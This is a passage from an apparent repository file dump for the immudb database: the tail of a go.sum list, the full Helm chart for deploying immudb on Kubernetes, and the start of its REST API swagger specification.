h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=\ngoogle.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY=\ngoogle.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY=\ngopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=\ngopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=\ngopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=\ngopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=\ngopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA=\ngopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=\ngopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\nhonnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=\nhonnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nhonnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nrsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=\nrsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=\nrsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=\n"
  },
  {
    "path": "helm/.gitignore",
    "content": "LICENSE README.md\n"
  },
  {
    "path": "helm/.helmignore",
    "content": "# Patterns to ignore when building packages.\n# This supports shell glob matching, relative path matching, and\n# negation (prefixed with !). Only one pattern per line.\n.DS_Store\n# Common VCS dirs\n.git/\n.gitignore\n.bzr/\n.bzrignore\n.hg/\n.hgignore\n.svn/\n# Common backup files\n*.swp\n*.bak\n*.tmp\n*.orig\n*~\n# Various IDEs\n.project\n.idea/\n*.tmproj\n.vscode/\nMakefile\n*.tgz\n"
  },
  {
    "path": "helm/Chart.yaml",
    "content": "apiVersion: v2\nname: immudb\ndescription: The immutable database\ntype: application\nversion: 1.10.0\nappVersion: \"1.10.0\"\n"
  },
  {
    "path": "helm/Makefile",
    "content": ".PHONY: package\npackage:\n\tcp ../LICENSE ../README.md .\n\thelm package .\n"
  },
  {
    "path": "helm/templates/NOTES.txt",
    "content": "{{- if .Values.ingress.enabled }}\nThe web interface is at this address:\n  http{{ if $.Values.ingress.tls }}s{{ end }}://{{ .Values.ingress.hostname }}/\n  \nYou can also access immudb web console and grpc interface by running these commands\n{{- else }}\nYou can access immudb web console and grpc interface by running these commands\n{{- end }}\n\n{{- if contains \"NodePort\" .Values.service.type }}\n  export NODE_PORT0=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath=\"{.spec.ports[0].nodePort}\" services {{ include \"immudb.fullname\" . }}-http)\n  export NODE_PORT1=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath=\"{.spec.ports[0].nodePort}\" services {{ include \"immudb.fullname\" . }}-grpc)\n  export NODE_IP=$(kubectl get nodes --namespace {{ .Release.Namespace }} -o jsonpath=\"{.items[0].status.addresses[0].address}\")\n  echo http://$NODE_IP:$NODE_PORT0\n  echo immuclient -a $NODE_IP -p $NODE_PORT1\n{{- else if contains \"LoadBalancer\" .Values.service.type }}\n     NOTE: It may take a few minutes for the LoadBalancer IP to be available.\n           You can watch the status of by running 'kubectl get --namespace {{ .Release.Namespace }} svc -w -l app.kubernetes.io/name={{ include \"immudb.name\" . }}'\n  export SERVICE_IP0=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include \"immudb.fullname\" . }}-http --template \"{{\"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}\"}}\")\n  export SERVICE_IP1=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include \"immudb.fullname\" . }}-grpc --template \"{{\"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}\"}}\")\n  echo Visit: http://$SERVICE_IP0:{{ .Values.service.ports.http }}\n  echo immuclient -a $SERVICE_IP1 -p {{ .Values.service.ports.grpc }}\n{{- else if contains \"ClusterIP\" .Values.service.type }}\n  export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l \"app.kubernetes.io/name={{ include \"immudb.name\" . }},app.kubernetes.io/instance={{ .Release.Name }}\" -o jsonpath=\"{.items[0].metadata.name}\")\n  export CONTAINER_PORT0=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath=\"{.spec.containers[0].ports[0].containerPort}\")\n  export CONTAINER_PORT1=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath=\"{.spec.containers[0].ports[1].containerPort}\")\n  echo \"Visit http://127.0.0.1:8080 to access immudb web interface\"\n  echo \"You can use grpc interface, connecting immuclient to localhost, port 3322\"\n  echo \"immuclient -a 127.0.0.1 -p 3322\"\n  kubectl --namespace {{ .Release.Namespace }} port-forward $POD_NAME 8080:$CONTAINER_PORT0 3322:$CONTAINER_PORT1\n\n{{- end }}\n\nAny feedback (suggestion, corrections, bug reports) is appreciated! \n"
  },
  {
    "path": "helm/templates/_helpers.tpl",
    "content": "{{/*\nExpand the name of the chart.\n*/}}\n{{- define \"immudb.name\" -}}\n{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCreate a default fully qualified app name.\nWe truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).\nIf release name contains chart name it will be used as a full name.\n*/}}\n{{- define \"immudb.fullname\" -}}\n{{- if .Values.fullnameOverride }}\n{{- .Values.fullnameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- $name := default .Chart.Name .Values.nameOverride }}\n{{- if contains $name .Release.Name }}\n{{- .Release.Name | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- printf \"%s-%s\" .Release.Name $name | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n{{- end }}\n{{- end }}\n\n{{/*\nCreate chart name and version as used by the chart label.\n*/}}\n{{- define \"immudb.chart\" -}}\n{{- printf \"%s-%s\" .Chart.Name .Chart.Version | replace \"+\" \"_\" | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCommon labels\n*/}}\n{{- define \"immudb.labels\" -}}\nhelm.sh/chart: {{ include \"immudb.chart\" . }}\n{{ include \"immudb.selectorLabels\" . }}\n{{- if .Chart.AppVersion }}\napp.kubernetes.io/version: {{ .Chart.AppVersion | quote }}\n{{- end }}\napp.kubernetes.io/managed-by: {{ .Release.Service }}\n{{- end }}\n\n{{/*\nSelector labels\n*/}}\n{{- define \"immudb.selectorLabels\" -}}\napp.kubernetes.io/name: {{ include \"immudb.name\" . }}\napp.kubernetes.io/instance: {{ .Release.Name }}\n{{- end }}\n\n{{/*\nCreate the name of the service account to use\n*/}}\n{{- define \"immudb.serviceAccountName\" -}}\n{{- if .Values.serviceAccount.create }}\n{{- default (include \"immudb.fullname\" .) .Values.serviceAccount.name }}\n{{- else }}\n{{- default \"default\" .Values.serviceAccount.name }}\n{{- end }}\n{{- end }}\n\n{{- define \"immudb.chart.ingressapiversion\" -}}\n{{- if semverCompare \">=1.19-0\" $.Capabilities.KubeVersion.GitVersion }}\n{{- printf \"networking.k8s.io/v1\" }}\n{{- else if semverCompare \">=1.14-0\" $.Capabilities.KubeVersion.GitVersion }}\n{{- printf \"networking.k8s.io/v1beta1\" }}\n{{- else }}\n{{- printf \"extensions/v1beta1\" }}\n{{- end }}\n{{- end }}\n"
  },
  {
    "path": "helm/templates/configmap.yaml",
    "content": "{{- if .Values.config.enabled }}\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: {{ include \"immudb.fullname\" . }}-config\n  labels:\n    {{- include \"immudb.labels\" . | nindent 4 }}\ndata:\n  immudb.toml: |\n{{ .Values.config.data | indent 4 }}\n{{- end }}"
  },
  {
    "path": "helm/templates/ingress.yaml",
    "content": "{{- if .Values.ingress.enabled -}}\n{{- $fullName := include \"immudb.fullname\" . -}}\n{{- if and .Values.ingress.className (not (semverCompare \">=1.18-0\" .Capabilities.KubeVersion.GitVersion)) }}\n  {{- if not (hasKey .Values.ingress.annotations \"kubernetes.io/ingress.class\") }}\n  {{- $_ := set .Values.ingress.annotations \"kubernetes.io/ingress.class\" .Values.ingress.className}}\n  {{- end }}\n{{- end }}\n\n\napiVersion: {{ include \"immudb.chart.ingressapiversion\" . }}\nkind: Ingress\nmetadata:\n  name: {{ $fullName }}-http\n  labels:\n    {{- include \"immudb.labels\" . | nindent 4 }}\n  {{- with .Values.ingress.annotations }}\n  annotations:\n    {{- toYaml . | nindent 4 }}\n    {{- if $.Values.ingress.tls.enabled }}\n    traefik.ingress.kubernetes.io/router.entrypoints: websecure\n    traefik.ingress.kubernetes.io/router.tls: \"true\"\n    {{- end }}\n  {{- end }}\nspec:\n  {{- if and .Values.ingress.className (semverCompare \">=1.18-0\" .Capabilities.KubeVersion.GitVersion) }}\n  ingressClassName: {{ .Values.ingress.className }}\n  {{- end }}\n  {{- if .Values.ingress.tls.enabled }}\n  tls:\n    - hosts:\n        - {{ $.Values.ingress.hostname | quote }}\n      secretName: {{ .Values.ingress.tls.secretName }}\n  {{- end }}\n  rules:\n    - host: {{ $.Values.ingress.hostname | quote }}\n      http:\n        paths:\n          - path: /\n            {{- if semverCompare \">=1.18-0\" $.Capabilities.KubeVersion.GitVersion }}\n            pathType: Prefix\n            backend:\n              {{- if semverCompare \">=1.19-0\" $.Capabilities.KubeVersion.GitVersion }}\n              service:\n                name: {{ $fullName }}-http\n                port:\n                  number: {{ $.Values.service.ports.http }}\n              {{- else }}\n              serviceName: {{ $fullName }}\n              servicePort: {{ $.Values.service.ports.http }}\n              {{- end }}\n            {{- end }}\n{{- end }}\n"
  },
  {
    "path": "helm/templates/secret.yaml",
    "content": "{{ if $.Values.adminPassword }}\napiVersion: v1\nkind: Secret\nmetadata:\n  name: {{ include \"immudb.fullname\" . }}-credentials\n  labels:\n    {{- include \"immudb.labels\" . | nindent 4 }}\ntype: Opaque \ndata: \n  immudb-admin-password: \"{{$.Values.adminPassword|b64enc}}\"\n{{ end }}\n"
  },
  {
    "path": "helm/templates/service.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: {{ include \"immudb.fullname\" . }}-http\n  labels:\n    {{- include \"immudb.labels\" . | nindent 4 }}\nspec:\n  type: {{ .Values.service.type }}\n  ports:\n    - port: {{ .Values.service.ports.http }}\n      targetPort: http\n      protocol: TCP\n      name: http\n    - port: {{ .Values.service.ports.metrics }}\n      targetPort: metrics\n      protocol: TCP\n      name: metrics\n  selector:\n    {{- include \"immudb.selectorLabels\" . | nindent 4 }}\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: {{ include \"immudb.fullname\" . }}-grpc\n  labels:\n    {{- include \"immudb.labels\" . | nindent 4 }}\n  annotations:  \n    traefik.ingress.kubernetes.io/service.serversscheme: h2c\nspec:\n  type: {{ .Values.service.type }}\n  ports:\n    - port: {{ .Values.service.ports.grpc }}\n      targetPort: grpc\n      protocol: TCP\n      name: grpc\n  selector:\n    {{- include \"immudb.selectorLabels\" . | nindent 4 }}\n"
  },
  {
    "path": "helm/templates/statefulset.yaml",
    "content": "{{- if gt (.Values.replicaCount | toString | atoi) 1 }}\n{{- fail \"At the moment, you can just have 1 instance of immudb. We are working to raise that limit.\"}}\n{{- end }}\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: {{ include \"immudb.fullname\" . }}\n  labels:\n    {{- include \"immudb.labels\" . | nindent 4 }}\nspec:\n  replicas: {{ .Values.replicaCount }}\n  selector:\n    matchLabels:\n      {{- include \"immudb.selectorLabels\" . | nindent 6 }}\n  serviceName: {{ include \"immudb.fullname\" . }}\n  template:\n    metadata:\n      {{- with .Values.podAnnotations }}\n      annotations:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n      labels:\n        {{- include \"immudb.selectorLabels\" . | nindent 8 }}\n    spec:\n      {{- with .Values.imagePullSecrets }}\n      imagePullSecrets:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n      automountServiceAccountToken: false\n      securityContext:\n        {{- toYaml .Values.podSecurityContext | nindent 8 }}\n      volumes:\n      - name: immudb-storage\n        persistentVolumeClaim:\n          claimName: {{ include \"immudb.fullname\" . }}\n      {{- if .Values.config.enabled }}\n      - name: immudb-config\n        configMap:\n          name: {{ include \"immudb.fullname\" . }}-config\n      {{- end }}\n      containers:\n        - name: {{ .Chart.Name }}\n          securityContext:\n            {{- toYaml .Values.securityContext | nindent 12 }}\n          image: \"{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}\"\n          imagePullPolicy: {{ .Values.image.pullPolicy }}\n          {{- if or .Values.args .Values.config.enabled }}\n          command: [\"/usr/sbin/immudb\"]\n          args:\n          {{- if .Values.config.enabled }}\n            - --config=/etc/immudb/immudb.toml\n          {{- end }}\n          {{- range .Values.args }}\n            - {{ . | quote }}\n          {{- end }}\n          {{- end }}\n          ports:\n            - name: http\n              containerPort: 8080\n              protocol: TCP\n            - name: grpc\n              containerPort: 3322\n              protocol: TCP\n            - name: metrics\n              containerPort: 9497\n              protocol: TCP\n          livenessProbe:\n            httpGet:\n              path: /readyz\n              port: metrics\n            failureThreshold: 9\n          readinessProbe:\n            httpGet:\n              path: /readyz\n              port: metrics\n          env:\n          {{- if $.Values.adminPassword }}\n          - name: IMMUDB_ADMIN_PASSWORD\n            valueFrom:\n              secretKeyRef:\n                name: {{ include \"immudb.fullname\" . }}-credentials\n                key: immudb-admin-password\n          {{- end}}\n          {{- range .Values.env }}\n          - name: {{ .name }}\n            {{- if .value }}\n            value: {{ .value | quote }}\n            {{- else if .valueFrom }}\n            valueFrom:\n              {{- toYaml .valueFrom | nindent 14 }}\n            {{- end }}\n          {{- end }}\n          resources:\n            {{- if .Values.resources }}\n            {{- toYaml .Values.resources | nindent 12 }}\n            {{- else }}\n            limits:\n              memory: \"512Mi\"\n              ephemeral-storage: \"1Gi\"\n            requests:\n              memory: \"256Mi\"\n              ephemeral-storage: \"512Mi\"\n            {{- end }}\n          volumeMounts:\n          - mountPath: /var/lib/immudb\n            name: immudb-storage\n            {{- if $.Values.volumeSubPath.enabled }}\n            subPath: {{ $.Values.volumeSubPath.path | quote }}\n            {{- end}}\n          {{- if .Values.config.enabled }}\n          - mountPath: /etc/immudb\n            name: immudb-config\n            readOnly: true\n          {{- end }}\n      {{- with .Values.nodeSelector }}\n      nodeSelector:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n      {{- with .Values.affinity }}\n      affinity:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n      {{- with .Values.tolerations }}\n      tolerations:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n  volumeClaimTemplates:\n  - metadata:\n      name: immudb-storage\n    spec:\n      accessModes:\n      - ReadWriteOnce\n      {{- if .Values.volume.Class }}\n      storageClassName: {{ .Values.volume.Class | quote }}\n      {{- end }}\n      resources:\n        requests:\n          storage: {{ .Values.volume.size }}\n"
  },
  {
    "path": "helm/templates/tests/test-connection.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: \"{{ include \"immudb.fullname\" . }}-test-connection\"\n  labels:\n    {{- include \"immudb.labels\" . | nindent 4 }}\n  annotations:\n    \"helm.sh/hook\": test\nspec:\n  automountServiceAccountToken: false\n  containers:\n    - name: wget\n      image: busybox\n      command: ['wget']\n      args: ['{{ include \"immudb.fullname\" . }}:{{ .Values.service.ports.http }}']\n      resources:\n        limits:\n          memory: \"64Mi\"\n          ephemeral-storage: \"64Mi\"\n        requests:\n          memory: \"32Mi\"\n          ephemeral-storage: \"32Mi\"\n  restartPolicy: Never\n"
  },
  {
    "path": "helm/values.yaml",
    "content": "# Default values for immudb.\n# This is a YAML-formatted file.\n# Declare variables to be passed into your templates.\n\nreplicaCount: 1\n\nimage:\n  repository: codenotary/immudb\n  pullPolicy: IfNotPresent\n  # Overrides the image tag whose default is the chart appVersion.\n  tag: \"\"\n\nimagePullSecrets: []\nnameOverride: \"\"\nfullnameOverride: \"\"\nvolume:\n  class: \"\"\n  size: 5Gi\nadminPassword: \"\"\n\n# ImmuDB Configuration Options\n# You can configure immudb using three methods:\n# 1. Environment variables (env)\n# 2. Configuration file (config)\n# 3. Command line arguments (args)\n\n# Environment variables for immudb\n# All immudb configuration can be set via environment variables by prefixing with \"IMMUDB_\"\n# Examples:\n# - IMMUDB_PORT=3323\n# - IMMUDB_ADDRESS=0.0.0.0\n# - IMMUDB_DEVMODE=false\nenv: []\n  # - name: IMMUDB_PORT\n  #   value: \"3323\"\n  # - name: IMMUDB_DEVMODE\n  #   value: \"false\"\n  # - name: IMMUDB_PGSQL_SERVER\n  #   value: \"true\"\n  # - name: IMMUDB_S3_STORAGE\n  #   value: \"true\"\n  # - name: IMMUDB_S3_BUCKET_NAME\n  #   value: \"my-immudb-bucket\"\n\n# Configuration file for immudb\n# If enabled, creates a ConfigMap with immudb.toml configuration file\n# This will be mounted to /etc/immudb/immudb.toml\nconfig:\n  enabled: false\n  # Configuration in TOML format\n  # See https://docs.immudb.io/master/running/configuration.html for all options\n  data: |\n    dir = \"/var/lib/immudb\"\n    network = \"tcp\"\n    address = \"0.0.0.0\"\n    port = 3322\n    dbname = \"immudb\"\n    auth = true\n    devmode = false\n    pgsql-server = true\n    pgsql-server-port = 5432\n    metrics-server = true\n    metrics-server-port = 9497\n    web-server = true\n    web-server-port = 8080\n    # S3 configuration example:\n    # s3-storage = true\n    # s3-bucket-name = \"my-immudb-bucket\"\n    # s3-endpoint = \"s3.amazonaws.com\"\n    # s3-location = \"us-east-1\"\n\n# Command line arguments for immudb\n# These will be passed directly to the immudb command\n# See `immudb --help` for all available options\nargs: []\n  # - \"--devmode\"\n  # - \"--pgsql-server=false\"\n  # - \"--s3-storage\"\n  # - \"--s3-bucket-name=my-immudb-bucket\"\n\npodAnnotations: {}\n\npodSecurityContext:\n   runAsNonRoot: true\n   runAsUser: 3322\n   runAsGroup: 3322\n   fsGroup: 3322\n   fsGroupChangePolicy: \"OnRootMismatch\"\n\nsecurityContext:\n   readOnlyRootFilesystem: true\n   capabilities:\n     drop:\n     - ALL\n\nservice:\n  type: ClusterIP\n  ports:\n    grpc: 3322\n    metrics: 9497\n    http: 8080\n\ningress:\n  enabled: false\n  className: \"\"\n  annotations: {}\n    # kubernetes.io/ingress.class: nginx\n    # kubernetes.io/tls-acme: \"true\"\n  hostname: immudb-example.localhost\n  tls:\n    enabled: false\n    secretName: immudb-tls\n\nresources: {}\n  # We usually recommend not to specify default resources and to leave this as a conscious\n  # choice for the user. This also increases chances charts run on environments with little\n  # resources, such as Minikube. If you do want to specify resources, uncomment the following\n  # lines, adjust them as necessary, and remove the curly braces after 'resources:'.\n  # limits:\n  #   cpu: 100m\n  #   memory: 128Mi\n  # requests:\n  #   cpu: 100m\n  #   memory: 128Mi\n\nnodeSelector: {}\n\ntolerations: []\n\naffinity: {}\n\n# We can now use a subdirectory inside the volume so that if you are mounting volumes\n# that have a `/lost+found` directory (i.e., ext4), immudb don't get confused assuming that\n# is a database. Enable this in case you are using a ext4 block-based volume provider,\n# like DigitalOcean or EBS. Disable if you already have some data in the volume root.\nvolumeSubPath:\n  enabled: true # or false\n  path: immudb\n"
  },
  {
    "path": "img/images.MD",
    "content": "\n"
  },
  {
    "path": "pkg/api/openapi/apidocs.swagger.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"immudb REST API v2\",\n    \"description\": \"Authorization API\",\n    \"version\": \"version not set\"\n  },\n  \"basePath\": \"/api/v2\",\n  \"consumes\": [\n    \"application/json\"\n  ],\n  \"produces\": [\n    \"application/json\"\n  ],\n  \"paths\": {\n    \"/authorization/session/close\": {\n      \"post\": {\n        \"operationId\": \"CloseSession\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelCloseSessionResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelCloseSessionRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"authorization\"\n        ]\n      }\n    },\n    \"/authorization/session/keepalive\": {\n      \"post\": {\n        \"operationId\": \"KeepAlive\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelKeepAliveResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelKeepAliveRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"authorization\"\n        ]\n      }\n    },\n    \"/authorization/session/open\": {\n      \"post\": {\n        \"operationId\": \"OpenSession\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/immudbmodelOpenSessionResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/immudbmodelOpenSessionRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"authorization\"\n        ],\n        \"security\": []\n      }\n    },\n    \"/collection/documents/search/{searchId}\": {\n      \"post\": {\n        \"operationId\": \"SearchDocuments2\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelSearchDocumentsResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"searchId\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelSearchDocumentsRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{collectionName}/document/{documentId}/audit\": {\n      \"post\": {\n        \"operationId\": \"AuditDocument\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelAuditDocumentResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"documentId\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelAuditDocumentRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{collectionName}/document/{documentId}/proof\": {\n      \"post\": {\n        \"operationId\": \"ProofDocument\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelProofDocumentResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"documentId\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelProofDocumentRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{collectionName}/documents\": {\n      \"post\": {\n        \"operationId\": \"InsertDocuments\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelInsertDocumentsResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": 